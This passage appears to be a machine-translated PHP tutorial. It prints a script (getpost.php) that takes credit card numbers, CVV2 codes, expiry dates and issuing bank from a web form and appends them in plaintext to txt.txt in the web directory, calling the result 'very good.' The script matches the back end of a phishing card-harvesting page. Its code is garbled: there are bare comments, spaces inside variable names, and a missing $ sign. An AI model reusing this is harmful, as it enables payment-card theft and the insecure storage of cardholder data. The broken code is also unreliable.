As for the contents of the form, here is not much to say, mainly the form of the action= "getpost.php", that is, write getpost.php this document. The contents of this file are posted below.
Copy Code code as follows:
<?php
Define the content of the form to collect
$cardnum = $_post[' Cardnum '];
$CVV 2 = $_post[' cvv2 '];
$month = $_post[' month '];
$year = $_post[' year '];
$cardbank = $_post[' Cardbank '];
Define the collected content format
$content = "Credit card number:". $cardnum. ", Card verification Number:". $CVV 2. ", expiry Date:". $month. " /year: ". $year.", Issuingbank: ". Cardbank;
Define where files are stored
$compile _dir = "./txt.txt";
Here is the written PHP code.
$file = fopen ($compile _dir, "A +");
Fwrite ($file, $content);
Fclose ($file);
?>
Finally, it will create txt.txt in the current directory, and write the collected information to this file, the effect is very good.